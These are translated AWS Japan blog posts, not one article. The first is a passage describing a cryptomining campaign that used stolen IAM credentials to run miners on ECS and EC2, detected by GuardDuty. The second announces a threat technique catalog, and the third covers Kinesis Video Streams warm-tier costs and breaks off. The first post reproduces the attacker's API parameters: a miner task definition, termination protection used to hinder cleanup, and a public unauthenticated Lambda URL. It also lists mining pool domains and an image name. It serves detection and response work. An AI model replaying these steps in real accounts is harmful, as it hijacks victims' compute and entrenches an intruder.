IAM 権限を素早く列挙した後、Amazon EC2 と Amazon ECS 全体に暗号通貨マイニングリソースをデプロイしました。脅威アクターが初期アクセスを取得してから 10 分以内に、暗号通貨マイナーが稼働を開始しました。 この攻撃で観測された主要な手法は、 ModifyInstanceAttribute を使用して 終了保護 (DisableApiTermination) を true に設定 することでした。これにより、被害者は影響を受けたリソースを削除する前に終了保護を無効にする必要があります。インスタンス終了保護を有効にすることで、インシデント対応者にとって追加の考慮事項が生じ、自動修復コントロールが妨害される可能性があります。脅威アクターが複数のコンピューティングサービスをスクリプト化して使用し、新たな永続化手法と組み合わせたことは、セキュリティチームが認識すべき暗号通貨マイニングの永続化手法の進化を示しています。 GuardDuty の複数の検出機能は、EC2 ドメイン/IP 脅威インテリジェンス、異常検出、および拡張脅威検出の EC2 攻撃シーケンスを通じて、悪意のあるアクティビティを的確に特定しました。GuardDuty 拡張脅威検出は、シグナルを AttackSequence:EC2/CompromisedInstanceGroup の検出結果として相関させることができました。 侵害の痕跡 (IoC) セキュリティチームは、この暗号通貨マイニングキャンペーンを特定するために、以下の IoC を監視する必要があります。脅威アクターは戦術と手法を頻繁に変更するため、これらの指標は時間の経過とともに変化する可能性があります。 悪意のあるコンテナイメージ: 2025 年 10 月 29 日に作成され、10 万回以上プルされた Docker Hub イメージ yenik65958/secret が、コンテナ化された環境に暗号通貨マイナーをデプロイするために使用されました。この悪意のあるイメージには、暗号通貨マイニング用の SBRMiner-MULTI バイナリが含まれていました。この特定のイメージは Docker Hub から削除されましたが、脅威アクターは別の名前で類似のイメージをデプロイする可能性があります 自動化とツール: 攻撃チェーン全体で、Python ベースの自動化スクリプトを示す AWS SDK for Python (Boto3) のユーザーエージェントパターンが使用されました 暗号通貨マイニングドメイン: asia[.]rplant[.]xyz 、 eu[.]rplant[.]xyz 、および na[.]rplant[.]xyz インフラストラクチャの命名パターン: Auto Scaling グループは特定の命名規則に従っていました。スポットインスタンスの場合は SPOT-us-east-1-G* -* 、オンデマンドインスタンスの場合は OD-us-east-1-G* -* で、G はグループ番号を示します 攻撃チェーンの分析 この暗号通貨マイニングキャンペーンは、複数のフェーズにわたって体系的な攻撃の進行をたどりました。本ブログでは、個人を特定できる情報 (PII) を保護するため、機密フィールドには架空の値を使用しています。 図 1: 暗号通貨マイニングキャンペーンの図 初期アクセス、偵察、攻撃準備 攻撃は、異常なネットワークとロケーションから管理者相当の権限を持つ侵害された IAM ユーザー認証情報で開始され、GuardDuty の異常検出の検出結果がトリガーされました。偵察フェーズでは、攻撃者はお客様の AWS 環境を体系的に調査し、どのようなリソースをデプロイできるかを把握しました。攻撃者は Amazon EC2 のサービスクォータ ( GetServiceQuota ) を確認して起動可能なインスタンス数を特定し、次に DryRun フラグを有効にして RunInstances API を複数回呼び出すことで権限をテストしました。 DryRun フラグは、実際にインスタンスを起動することなく IAM 権限を検証できる意図的な偵察手法でした。これにより、コストを回避し、検出される可能性を低減しています。この手法は、脅威アクターが行動を起こす前に暗号通貨マイニングインフラストラクチャをデプロイする能力を検証していたことを示しています。通常 DryRun フラグを使用しない組織は、この API パターンを侵害の早期警告指標として監視することを検討してください。 AWS CloudTrail ログは、 Amazon CloudWatch アラーム 、 Amazon EventBridge 、またはサードパーティツールと組み合わせて、これらの疑わしい API パターンに対するアラートを設定できます。 脅威アクターは、攻撃インフラストラクチャの一部として IAM ロールを作成するために 2 つの API を呼び出しました。Auto Scaling グループ用のロールを作成するための CreateServiceLinkedRole と、 AWS Lambda 用のロールを作成するための CreateRole です。その後、Lambda ロールに AWSLambdaBasicExecutionRole ポリシーをアタッチしました。これら 2 つのロールは、攻撃の影響と永続化フェーズに不可欠でした。 Amazon ECS への影響 脅威アクターはまず、環境全体で数十の ECS クラスターを作成し、1 回の攻撃で 50 を超える ECS クラスターを作成することもありました。次に、悪意のある Docker Hub イメージ yenik65958/secret:user を使用して RegisterTaskDefinition を呼び出しました。クラスター作成時と同じ文字列を使用して、攻撃者はタスク定義を使用してサービスを作成し、 AWS Fargate で実行される ECS タスク上で暗号通貨マイニングを開始しました。以下は、最大 CPU 割り当て 16,384 ユニットを指定した RegisterTaskDefinition の API リクエストパラメータの例です。 { "dryrun": false, "requiresCompatibilities": ["FARGATE"], "cpu": 16384, "containerDefinitions": [ { "name": "a1b2c3d4e5", "image": "yenik65958/secret:user", "cpu": 0, "command": [] } ], "networkMode": "awsvpc", "family": "a1b2c3d4e5", "memory": 32768 } このタスク定義を使用して、脅威アクターは CreateService を呼び出し、希望タスク数を 10 に設定して ECS Fargate タスクを起動しました。 { "dryrun": false, "capacityProviderStrategy": [ { "capacityProvider": "FARGATE", "weight": 1, "base": 0 }, { "capacityProvider": "FARGATE_SPOT", "weight": 1, "base": 0 } ], "desiredCount": 10 } 図 2: 悪意のあるイメージ内の暗号通貨マイニングスクリプトの内容 悪意のあるイメージ ( yenik65958/secret:user ) は、デプロイ後に run.sh を実行するように設定されていました。 run.sh は、マイニングプール asia|eu|na[.]rplant[.]xyz:17155 を使用して randomvirel マイニングアルゴリズムを実行します。 nproc --all フラグは、スクリプトがすべてのプロセッサコアを使用することを示しています。 Amazon EC2 への影響 脅威アクターは 2 つの起動テンプレート ( CreateLaunchTemplate ) と 14 の Auto Scaling グループ ( CreateAutoScalingGroup ) を作成しました。これらは最大サイズ 999 インスタンス、希望キャパシティ 20 という異常に大きいスケーリングパラメータで設定されていました。以下の CreateLaunchTemplate のリクエストパラメータ例では、インスタンスに暗号通貨マイニングを開始するよう指示する UserData が指定されています。 { "CreateLaunchTemplateRequest": { "LaunchTemplateName": "T-us-east-1-a1b2", "LaunchTemplateData": { "UserData": "<sensitiveDataRemoved>", "ImageId": "ami-1234567890abcdef0", "InstanceType": "c6a.4xlarge" }, "ClientToken": "a1b2c3d4-5678-90ab-cdef-EXAMPLE11111" } } 脅威アクターは、スポットインスタンスとオンデマンドインスタンスの両方を使用して Auto Scaling グループを作成し、両方の Amazon EC2 サービスクォータを活用してリソース消費を最大化しました。 スポットインスタンスグループ: 高性能 GPU および 機械学習 (ML) インスタンス (g4dn、g5、p3、p4d、inf1) を標的 オンデマンド割り当て 0%、キャパシティ最適化戦略で設定 20 から 999 インスタンスにスケールするよう設定 オンデマンドインスタンスグループ: コンピューティング、メモリ、汎用インスタンス (c5、c6i、r5、r5n、m5a、m5、m5n) を標的 オンデマンド割り当て 100% で設定 同様に 20 から 999 インスタンスにスケールするよう設定 Auto Scaling クォータを使い果たした後、脅威アクターは RunInstances を使用して追加の EC2 インスタンスを直接起動し、残りの EC2 インスタンスクォータを消費しました。 永続化 このキャンペーンで観測された興味深い手法は、脅威アクターが起動したすべての EC2 インスタンスに対して ModifyInstanceAttribute を使用して 終了保護を有効にしたことです。インスタンス終了保護はインスタンスの誤った終了を防ぐ機能ですが、インシデントレスポンスに追加の手順が必要となり、自動修復コントロールを妨害する可能性があります。以下の例は、 ModifyInstanceAttribute API のリクエストパラメータを示しています。 { "disableApiTermination": { "value": true }, "instanceId": "i-1234567890abcdef0" } すべてのマイニングワークロードをデプロイした後、脅威アクターは IAM 認証をバイパスしてパブリックな Lambda エンドポイントを作成する設定で Lambda 関数を作成しました。その後、任意のプリンシパルが関数を呼び出すことを許可する権限を Lambda 関数に追加しました。以下の例は、 CreateFunctionUrlConfig と AddPermission のリクエストパラメータを示しています。 CreateFunctionUrlConfig: { "authType": "NONE", "functionName": "generate-service-a1b2c3d4" } AddPermission: { "functionName": "generate-service-a1b2c3d4", "functionUrlAuthType": "NONE", "principal": "*", "statementId": "FunctionURLAllowPublicAccess", "action": "lambda:InvokeFunctionUrl" } 脅威アクターは、IAM ユーザー user-x1x2x3x4 を作成し、IAM ポリシー AmazonSESFullAccess をアタッチして永続化段階を完了しました ( CreateUser 、 AttachUserPolicy )。また、そのユーザーのアクセスキーとログインプロファイルも作成しました ( CreateAccessKey 、 CreateLoginProfile )。ユーザーにアタッチされた SES ロールから判断すると、脅威アクターは Amazon Simple Email Service (Amazon SES) を使用したフィッシングを試みていた可能性があります。 パブリックな Lambda 関数 URL の作成を防ぐために、組織は AuthType が "NONE" の Lambda 関数 URL の作成または更新を拒否するサービスコントロールポリシー (SCP) をデプロイできます。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Deny", "Action": [ "lambda:CreateFunctionUrlConfig", "lambda:UpdateFunctionUrlConfig" ], "Resource": "arn:aws:lambda:*:*:function/*", "Condition": { "StringEquals": { "lambda:FunctionUrlAuthType": "NONE" } } } ] } GuardDuty による検出方法 GuardDuty の多層検出アプローチは、脅威インテリジェンス、異常検出、および最近リリースされた EC2 および ECS 向けの拡張脅威検出機能 を使用して、攻撃チェーンのすべての段階を特定するのに非常に効果的でした。 次に、これらの機能の詳細と、このような攻撃を検出するためにどのようにデプロイできるかを説明します。本ブログで説明したような暗号通貨マイニングキャンペーンに関するアラートを受け取るには、GuardDuty 基本保護プランを有効にしてください。検出機能をさらに強化するために、 GuardDuty Runtime Monitoring を有効にすることを強くお勧めします。これにより、Amazon EC2、Amazon ECS、および Amazon Elastic Kubernetes Service (Amazon EKS) のシステムレベルのイベントまで検出範囲が拡張されます。 GuardDuty EC2 の検出結果 Amazon EC2 の脅威インテリジェンスの検出結果は GuardDuty 基本保護プランの一部であり、インスタンスに関連する疑わしいネットワーク動作についてアラートを通知します。これらの動作には、ブルートフォース攻撃の試行、悪意のあるドメインや暗号通貨関連ドメインへの接続、その他の疑わしい動作が含まれます。サードパーティの脅威インテリジェンスと、 アクティブ脅威防御 や MadPot を含む内部脅威インテリジェンスを使用して、GuardDuty は以下の検出結果を通じて本ブログで説明した指標を検出します。( CryptoCurrency:EC2/BitcoinTool.B および CryptoCurrency:EC2/BitcoinTool.B!DNS ) GuardDuty IAM の検出結果 複数の戦術カテゴリ (PrivilegeEscalation、Impact、Discovery) にまたがる IAMUser/AnomalousBehavior の検出結果は、通常のユーザー動作からの逸脱を検出する GuardDuty の機械学習機能を示しています。本ブログで説明したインシデントでは、脅威アクターが異常なネットワークとロケーションから認証情報を使用し、アカウントにとって通常とは異なる API を呼び出したため、侵害された認証情報が検出されました。 GuardDuty Runtime Monitoring GuardDuty Runtime Monitoring は、拡張脅威検出の攻撃シーケンス相関において重要なコンポーネントです。Runtime Monitoring は、オペレーティングシステムの可視性などのホストレベルのシグナルを提供し、ホストおよびコンテナレベルでの悪意のあるプロセス実行を示すシステムレベルのログを分析することで検出範囲を拡張します。これには、ワークロード上での暗号通貨マイニングプログラムの実行も含まれます。 CryptoCurrency:Runtime/BitcoinTool.B!DNS および CryptoCurrency:Runtime/BitcoinTool.B の検出結果は、暗号通貨関連のドメインおよび IP へのネットワーク接続を検出し、 Impact:Runtime/CryptoMinerExecuted の検出結果は、実行中のプロセスが暗号通貨マイニングアクティビティに関連している場合に検出します。 GuardDuty 拡張脅威検出 AWS re:Invent 2025 でリリースされた AttackSequence:EC2/CompromisedInstanceGroup の検出結果は、 GuardDuty の最新の拡張脅威検出機能 の 1 つです。この機能は、AI と機械学習アルゴリズムを使用して、複数のデータソースにわたるセキュリティシグナルを自動的に相関させ、EC2 リソースグループの高度な攻撃パターンを検出します。EC2 の AttackSequence 検出結果タイプは GuardDuty 基本保護プランに含まれていますが、Runtime Monitoring を有効にすることを強くお勧めします。Runtime Monitoring は、コンピューティング環境からの重要なインサイトとシグナルを提供し、疑わしいホストレベルのアクティビティの検出と攻撃シーケンスの相関の改善を可能にします。 AttackSequence:ECS/CompromisedCluster の攻撃シーケンスでは、コンテナレベルのアクティビティを相関させるために Runtime Monitoring が必要です。 監視と修復の推奨事項 同様の暗号通貨マイニング攻撃から保護するために、お客様は強力な ID およびアクセス管理コントロールを徹底する必要があります。長期的なアクセスキーの代わりに一時的な認証情報を実装し、すべてのユーザーに多要素認証 (MFA) を適用し、IAM プリンシパルに最小権限を適用して必要な権限のみにアクセスを制限してください。AWS CloudTrail を使用して AWS サービス全体のイベントをログに記録し、ログを単一のアカウントに集約することで、セキュリティチームがアクセスして監視できるようにすることができます。詳細については、CloudTrail ドキュメントの 複数のアカウントから CloudTrail ログファイルを受信する を参照してください。 すべてのアカウントとリージョンで GuardDuty が有効になっており、包括的なカバレッジのために Runtime Monitoring が有効になっていることを確認してください。GuardDuty を AWS Security Hub および Amazon EventBridge またはサードパーティツールと統合して、自動応答ワークフローと重大度の高い検出結果の迅速な修復を可能にしてください。イメージスキャンポリシーや ECS タスク定義での異常な CPU 割り当てリクエストの監視など、コンテナセキュリティコントロールを実装してください。最後に、暗号通貨マイニング攻撃に対する具体的なインシデントレスポンス手順を確立してください。これには、終了保護が有効化されたインスタンスを処理するための文書化された手順が含まれます。これは、この攻撃者が修復作業を複雑にするために使用した手法です。 AWS アカウントが暗号通貨マイニングキャンペーンの影響を受けたと思われる場合は、GuardDuty ドキュメントの修復手順を参照してください。( 侵害された可能性のある AWS 認証情報の修復 、 侵害された可能性のある EC2 インスタンスの修復 、および 侵害された可能性のある ECS クラスターの修復 ) 最新の手法について最新情報を入手するには、 Threat Technique Catalog for AWS をご覧ください。 本ブログに関するご質問がある場合は、 AWS サポート にお問い合わせください。 Kyle Koeller Kyle は GuardDuty チームのセキュリティエンジニアで、脅威検出に注力しています。クラウドの脅威検出とオフェンシブセキュリティに情熱を持ち、CompTIA Security+、PenTest+、CompTIA Network Vulnerability Assessment Professional、SecurityX の認定資格を保有しています。仕事以外の時間は、ジムで過ごしたり、ニューヨーク市を探索したりすることを楽しんでいます。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2025 年 6 月 13 日に公開された AWS Blog “ AWS CIRT announces the launch of the Threat Technique Catalog for AWS ” を翻訳したものです。 AWS Customer Incident Response Team (AWS CIRT) よりお届けします。AWS CIRT は、 AWS 責任共有モデル においてお客様側で進行中のセキュリティイベントに対して、24 時間 365 日体制でグローバルに対応する Amazon Web Services (AWS) のスペシャリストチームです。本日 (2025 年 6 月 13 日)、AWS は Threat Technique Catalog for AWS の公開を発表しました。 AWS CIRT がセキュリティ調査中にお客様のインシデント対応を支援する際、脅威アクターが AWS のお客様に対して使用した戦術や技術の種類に関する AWS サービスメタデータを収集しています。AWS はこの情報を使用し、 侵害の痕跡 (IOC) と脅威パターンの内部データセットを構築しています。このデータセットにより、脅威アクターが設定不備のある AWS リソースや過度に許可されたアクセスをどのように悪用しているか、また目的を達成するためにどのような手法を使用しているかについての洞察が得られます。 AWS はこのメタデータを取得し、内部で活用して AWS サービスを継続的に改善しています。これにより、脅威アクターが不正なアクションを実行することをより困難にし、お客様にとってより安全なサービスを提供しています。例えば、脅威アクターが Amazon Bedrock サービスを使用して 大規模言語モデル (LLM) を呼び出してトークンを消費したセキュリティイベントの調査で AWS CIRT が取得したメタデータの一部は、 Amazon GuardDuty の IAM Anomalous Behavior 検出結果 の補完に使用されています。2025 年初頭に、AWS CIRT は、クライアント提供キーによるサーバー側暗号化 (SSE-C) と呼ばれる暗号化方式を使用した Amazon S3 でのデータ暗号化イベントの増加を特定しました 。AWS CIRT は Threat Technique Catalog for AWS を使用して、これらのセキュリティイベントで特定された新しい技術を分類し、内部および他の Amazon セキュリティチームと情報を共有しました。 AWS CIRT が観測した敵対的な戦術、技術、手順 (TTP) に関する情報が利用可能になれば、AWS リソースをより安全に設定するために活用できるため、価値があり役立つというフィードバックを AWS のお客様からいただいています。過去 1 年間、AWS は MITRE と協力して、これらの技術とサブテクニックをグローバルなセキュリティコミュニティに提供できるよう取り組んできました。この協力の結果、MITRE は 2024 年 10 月のアップデート で、これらの技術の一部を MITRE ATT&CK® に更新および追加しました (例: Data Destruction: Lifecycle-Triggered Deletion )。 「AWS が共有してくださった洞察に大変感謝しており、それが MITRE ATT&CK の 2024 年 10 月リリースにおける多くの技術の改善につながりました。ATT&CK が最新の脅威に対応し続けるためには、エコシステムに貢献するコミュニティの協力が必要であり、AWS が ATT&CK コミュニティの一員であることを高く評価しています。」 – MITRE Corporation MITRE ATT&CK プロジェクトリード Adam Pennington 企業、団体、組織は、オンプレミス環境への脅威を理解し、優先順位を付け、保護するために ATT&CK を使用しています。AWS は、これらの敵対的な技術を既存のフレームワークを活用して提示することで、AWS のお客様とグローバルなセキュリティコミュニティが、AWS CIRT と同じ方法で AWS インフラストラクチャ上の脅威を特定し分類できるようになると考えています。 MITRE ATT&CK Cloud に基づく Threat Technique Catalog for AWS は、これらの貢献を拡張し、AWS に固有で AWS CIRT が観測した敵対的な技術のカテゴリを含んでいます。さらに、それらの技術を軽減する方法と検出方法に関する情報も含まれています。例えば、Threat Technique Catalog for AWS にアクセスし、アカウント内の AWS サービスでフィルタリングして、環境をより安全にするのに役立つコンテンツを確認できます。 Getting started セクションには、Threat Technique Catalog for AWS を使用するその他の方法が含まれています。AWS は、AWS 環境をより安全にするためのガイドとなるよう、Threat Technique Catalog for AWS を継続的に更新し、追加の変更を提供していきます。また、新しいトレンドの脅威アクター技術について MITRE に情報提供するための協力も継続していきます。 このガイドを使用するには、 Threat Technique Catalog for AWS にアクセスしてください。 © 2025 The MITRE Corporation. この著作物は The MITRE Corporation の許可を得て複製・配布されています。 Steve de Vera Steve は AWS Customer Incident Response Team (CIRT) のマネージャーで、脅威リサーチと脅威インテリジェンスを担当しています。アメリカンスタイルの BBQ に情熱を持ち、BBQ コンテストの公認審査員でもあります。愛犬の名前は Brisket です。 Cydney Stude Cydney は AWS Customer Incident Response Team (CIRT) のセキュリティエンジニアで、インシデント対応とクラウドセキュリティを専門としています。技術的な深さと、複雑なクラウドの課題に対処する実践的な経験を重視しています。仕事以外では、サルサダンスやジャーマンシェパードとの冒険を楽しんでいます。 Nathan Bates Nathan は Global Services Security のシニアセキュリティエンジニアです。脆弱性管理、ポリシーコンプライアンス、アセット保証、インシデント対応、脅威インテリジェンスのためのデータ、分析、レポートサービスを専門としています。ハイパフォーマンスドライビング、レーシングカー、ギター演奏、音楽制作に情熱を持っています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本記事は 2026年 1 月 4 日に公開された Optimize long-term video storage costs with Amazon Kinesis Video Streams warm storage tier を翻訳したものです。翻訳はソリューションアーキテクトの市川 純 が担当しました。 はじめに Amazon Kinesis Video Streams は、物理セキュリティおよび監視組織向けのクラウドベースの動画管理において、強力なソリューションを提供します。組織には継続的な録画機能が必要ですが、従来のストレージアプローチではコストが増加することがよくあります。Kinesis Video Streams は、リアルタイムの動画管理と短期保存のストレージに優れており、広範囲のカメラネットワークを持つエンタープライズデプロイメントにサービスを提供します。 革新的な Kinesis Video Streams の Warm ストレージ機能 は、これらの機能を強化し、長期的な動画保持のためのコスト効率的なソリューションを提供し、組織がストレージ戦略を最適化できるようにします。 この投稿では、新しくローンチされた Kinesis Video Streams の Warm ストレージ機能を効果的に使用することで、運用に必要なパフォーマンスとアクセシビリティを維持しながら、長期間の動画保持に対してより費用効率の高いソリューションを構築する方法を説明します。 何をローンチしたのか？ 2025 年 11 月 26 日、Amazon Kinesis Video Streams に新しいストレージ Warm 階層が追加され、メディアの長期保持に費用対効果の高いストレージを提供します。 標準の Kinesis Video Streams ストレージ（現在は Hot 階層として指定）は、リアルタイムデータアクセスと短期間ストレージに最適化されています。新しい Warm 階層により、ストレージコストを削減しながら、1 秒未満のアクセスレイテンシーで長期的なメディア保持が可能になります。 お客様のメリット Amazon Kinesis Video Streams の Hot ストレージはリアルタイムストリーミングに優れていますが、規制遵守では長期間の保持が必要となることが多く、物理セキュリティおよび企業向けビデオ監視のお客様にとってはコストが高くなることがあります。通常、ストリーミングには Kinesis Video Streams の Hot 階層を使用し、その後データを他のコスト効率の良いストレージに移動していたお客様も、低コストで Kinesis Video Streams の Warm 階層でメディアを保持できるようになりました。これによりいくつかの利点がもたらされます。(a) お客様は、データ移行を管理することなく、よりシンプルなアーキテクチャを維持でき、運用オーバーヘッドを削減し、Kinesis Video Streams エコシステム内でデータにすぐにアクセスできます。(b) より大きなデータセットが Kinesis Video Streams 内に残るため、お客様はより完全な履歴データの恩恵を受け、ストレージシステム間での断片化を減らすことができます。これにより、連続データストリームの処理が簡単になること、時間的分析の可能性が向上すること、ML/AI モデルトレーニングが合理化されることで、分析機能が強化されます。さらに、Kinesis Video Streams の Warm 階層ストレージへの取り込みは、永続化されたフラグメント数ごとに料金が設定されています。つまり、開発者はフラグメントサイズを調整することでコストを制御できます。フラグメントを大きくすると取り込みコストが削減され、フラグメントを小さくするとレイテンシーが低下します。この柔軟性により、開発者は特定のユースケースに最適化できます。 アーキテクチャ Amazon Kinesis Video Streams の 階層ストレージアーキテクチャは、リアルタイムストリーミング機能とコスト最適化された長期ストレージ間のシームレスな統合を提供します。このアーキテクチャは 2 つのコンポーネントで構成されています： IoT デバイスやカメラが KVS エンドポイントにビデオデータをストリーミングするビデオ取り込み部分と、ストレージです。ストレージ階層の選択はストリームの設定に基づいて行われ、フラグメントは Hot 階層または Warm 階層のいずれかに保存されます。 このアーキテクチャの主な利点は次のとおりです： 統一 API : 同じ Amazon Kinesis Video Streams API が両方のストレージ階層で動作します シームレスな再生 : アプリケーションはストレージ階層に関係なく動画を取得できます 動的な設定 : サービスの中断なしにストレージ階層を変更できます 自動ライフサイクル: 組み込みポリシーがデータ移行と保持を管理します コストに関する考慮事項 以下の表は、US East (N. Virginia) リージョンにおける Amazon Kinesis Video Streams の Hot 階層と Warm 階層の料金体系を示しています。Warm 階層のストレージ料金は大幅に削減される一方で、消費コストは両方の階層で一貫していることに注意してください。Warm 階層ストレージへのインジェストは、GB 単位ではなくフラグメント数に基づいて価格設定されており、長期保持シナリオにおいて予測可能なコスト管理を提供します。Warm 階層ストレージには 30 日間の最小保持期間があり、顧客がデータを早期に削除した場合でも、AWS は最低 30 日間分の料金を請求します。 表-1 料金ディメンション Kinesis Video Streams の Hot 階層 Kinesis Video Streams の Warm 階層 データ取り込み – GB あたり 0.0085 n/a データ取り込み – 永続化フラグメント 1,000 件あたり n/a 0.0100 データストレージ – GB/月あたり 0.0230 0.0125 データ消費 – GB あたり 0.0085 0.0085 データ消費 HLS – GB あたり 0.0119 0.0119 画像抽出 1080 以下 – 100 万件あたり $ 10 $ 10 画像抽出 1080 より高解像度 – 100 万件あたり $ 18 $ 18 Kinesis Video Streams は Amazon Simple Storage Service (Amazon S3) のデータストア上に構築されており、動画データが高い耐久性と可用性で保存されることを保証します。しかし、保存された動画データへのアクセス頻度は、使用ケースによって大きく異なる場合があります。例えば、セキュリティコンプライアンスの目的で CCTV の生データを 30 日間保持する必要があるシナリオを考えてみましょう。特別なイベントが発生しない場合、時間の経過とともにレビューが必要なデータの頻度やセグメントは減少します。 このような状況では、Warm 階層機能により、ストレージの同じ耐久性と可用性を維持しながら、ストレージコストを削減できます。 Amazon Kinesis Video Streams の Warm 階層は Amazon S3 Standard-Infrequent Access (S3 Standard-IA) 上に構築されており、以下の利点を提供します。 最大 67 % のコスト削減: 標準的な Amazon Kinesis Video Streams ストレージと比較して大幅なコスト削減 同等の耐久性と可用性: 99.999999999 % の耐久性と 99.9 % の可用性を保証 シームレスな統合: 既存の Amazon Kinesis Video Streams ワークフローと API との互換性をサポート 自動化されたライフサイクル管理: 設定可能なポリシーによる自動化されたデータ管理 では、Warm 階層を使用してコストを最適化する 3 つの方法を見てみましょう。 1. ストレージ期間に基づくコスト最適化 Warm 階層は、長期保存が必要なユースケースでのコスト最適化を目的として設計されています。 Warm 階層は比較的低いストレージコストを提供しますが、最小保持期間として 30 日が必要です。 そのため、短期保存のみが必要なユースケースでは、Hot 階層の方がコスト効率が良い場合があります。 実際のコスト分析例： 1 日 8 時間稼働する 1,000 台の CCTV カメラを検証してみましょう： 取り込み期間: 30 日 ビットレート : 4Mbps フラグメント期間: 2 秒 AWS リージョン : us-east-1 リージョン 保存期間に基づくコスト比較 表-2 [1] 保持期間 (日) 期間あたりのストレージコスト ($) 期間あたりの取り込みコスト ($) 期間あたりの Kinesis Video Streams 総コスト ($) Warm/Hot のメリット Hot Warm Hot Warm Hot Warm 7 $ 2,233 $ 5,201 $ 3,586 $ 4,219 $ 5,818.74 $ 9,419 -62 % 15 $ 4,785 $ 5,201 $ 3,586 $ 4,219 $ 8,370.52 $ 9,419 -13 % 30 $ 9,569 $ 5,201 $ 3,586 $ 4,219 $ 13,155.09 $ 9,419 28 % 60 $ 19,138 $ 10,401 $ 3,586 $ 4,219 $ 22,724.25 $ 14,620 36 % 90 $ 28,707 $ 15,602 $ 3,586 $ 4,219 $ 32,293.41 $ 19,821 39 % 主要な発見： 上記で見られるように、同じフラグメント長の下では、通常 30 日から始まる長い保持期間において、Warm 階層のコスト効果がより高くなります。 2. フラグメント長に基づくコスト最適化 Warm 階層のもう 1 つの革新的な機能は、従来の Hot 階層の GB ベース課金ではなく、フラグメントベース課金です。 この課金アプローチでは、フラグメント長を調整することで取り込みコストを大幅に削減できます。 以下の表は、フラグメント長が増加した場合に、Hot 階層と比較して Warm 階層の利点がどのように増加するかを示しています。 これは 30 日間の保持期間の場合です。 表-3 [2] フラグメント長 (秒) 期間あたりのストレージコスト ($) 期間あたりの取り込みコスト ($) 期間あたりの Kinesis Video Streams 総コスト ($) Warm/Hot の利点 Hot Warm Hot Warm Hot Warm 2 $ 9,569 $ 5,201 $ 3,586 $ 4,219 $ 13,155.09 $ 9,419 28 % 5 $ 9,569 $ 5,201 $ 3,586 $ 1,687.50 $ 13,155.09 $ 6,888.13 48 % 10 $ 9,569 $ 5,201 $ 3,586 $ 843.75 $ 13,155.09 $ 6,044.38 54 % 20 $ 9,569 $ 5,201 $ 3,586 $ 421.88 $ 13,155.09 $ 5,622.50 57 % 主要な発見： 同じ保持期間の下では、フラグメント長が長いほど、Warm 階層の利点が高くなります。 以下のチャートは意思決定チャートとして活用できます。30 日間の保持期間では、フラグメント長が 1.06 秒で Warm 階層が損益分岐点となります。つまり、1.06 秒より長いフラグメント長では、Hot 階層よりも Warm 階層の方が総コストが安くなります。 60 日間の保持期間では、その損益分岐点は 0.68 秒で発生します。 3. カメラ解像度によるストレージコスト変動の理解 フラグメント数ベースモデルによる Warm 階層の料金体系は、より高いビットレートのカメラにコスト上のメリットをもたらします。5 秒のフラグメントを使用した 1,000 台のカメラの 30 日間のデプロイメントについては、以下の表の比較をご覧ください。 表-4 ビットレート 期間あたりのストレージコスト ($) 期間あたりの取り込みコスト ($) 期間あたりの Kinesis Video Streams 総コスト ($) Warm/Hot のメリット Hot Warm Hot Warm Hot Warm 1Mbps $ 2,392.29 $ 1,300.16 $ 896.48 $ 1,687.50 $ 3,288.77 $ 2,987.66 9 % 2Mbps $ 4,784.58 $ 2,600.31 $ 1,792.97 $ 1,687.50 $ 6,577.55 $ 4,287.81 35 % 4Mbps $ 9,569.16 $ 5,200.63 $ 3,585.94 $ 1,687.50 $ 13,155.09 $ 6,888.13 48 % 10Mbps $ 23,922.89 $ 13,001.57 $ 8,964.84 $ 1,687.50 $ 32,887.74 $ 14,689.07 55 % 主要な発見： より高いビットレートでより大きなコスト削減効果： 4 Mbps ストリームでは 48 % のコスト削減を達成し、1 Mbps ストリームでは 9 % の節約となります 一貫した取り込みコストの優位性： Warm 階層の取り込みコストはビットレートに関係なく 1,687.50 ドルで一定ですが、Hot 階層のコストはデータ量に比例して増加します ストレージコストのスケーリング： Warm 階層のストレージコストはビットレートに比例してスケールしますが、Hot 階層よりもはるかに低い料金です 損益分岐点分析： すべてのビットレートシナリオにおいて、長期間の保持に Warm 階層を使用することで大幅なコスト削減効果が実証されました このフラグメントベースの料金モデルにより、データ量の多い高解像度ビデオコンテンツのストレージと処理を大幅にコスト効率良く行うことができます。ビデオの品質とビットレートが高いほど、Warm 階層ストレージを利用した際のコスト上の優位性がより顕著になります。 ストレージ階層の設定 既存のストリームのストレージ期間設定は簡単に更新でき、設定は更新後に収集されたフラグメントに即座に適用されます。 以下は、Amazon Kinesis Video Streams で Warm 階層ストレージのストリームを更新または作成するための AWS CLI コマンドです。 ストレージ設定の更新: Hot 階層に既存のストリームがある場合は、次のようにストリーム設定を Warm 階層に更新できます。 STREAM_INFO =$(aws kinesisvideo describe-stream \ --stream-name "$ STREAM_NAME" \ --region $ REGION) CURRENT_VERSION =$(echo "$ STREAM_INFO" | jq -r '.StreamInfo.Version') aws kinesisvideo update-stream-storage-configuration \ --stream-name "$ STREAM_NAME" \ --current-version "$ CURRENT_VERSION" \ --stream-storage-configuration DefaultStorageTier ="WARM" \ --region $ REGION Warm 階層でのストリームの作成： 次のコマンドを使用して、新しい Warm 階層ストリームを作成できます。 aws kinesisvideo create-stream \ --stream-name $ STREAM_NAME \ --media-type "video/h264" \ --data-retention-in-hours 720 \ --stream-storage-configuration '{ "DefaultStorageTier": "WARM" }' \ --region  $ REGION 作成されたストリームのストレージ期間設定は簡単に変更でき、設定は変更後に収集されるフラグメントに即座に適用されます。 ストレージ設定の変更が適用されても、ストリームの再生は中断されません。 クリーンアップ 継続的な料金を避けるために、このウォークスルーで作成したテストストリームを必ず削除してください。ストリームを削除すると、ストレージ 階層の設定に関係なく、保存されているすべての動画データが完全に削除されることを覚えておいてください。 ストリームの削除: STREAM_INFO =$(aws kinesisvideo describe-stream \ --stream-name "$ STREAM_NAME" \ --region $ REGION) STREAM_ARN =$(echo "$ STREAM_INFO" | jq -r '.StreamInfo.StreamARN') CURRENT_VERSION =$(echo "$ STREAM_INFO" | jq -r '.StreamInfo.Version') aws kinesisvideo delete-stream \ --stream-arn "$ STREAM_ARN" \ --current-version "$ CURRENT_VERSION" \ --region $ REGION 重要な注意事項： ストリームの削除は元に戻すことができず、関連するすべての動画データが削除されます Hot と Warm 両方の 階層のデータが完全に削除されます 削除前に重要な動画データをバックアップしておくことを確認してください 削除プロセスが完了するまで数分かかる場合があります まとめ Amazon Kinesis Video Streams の 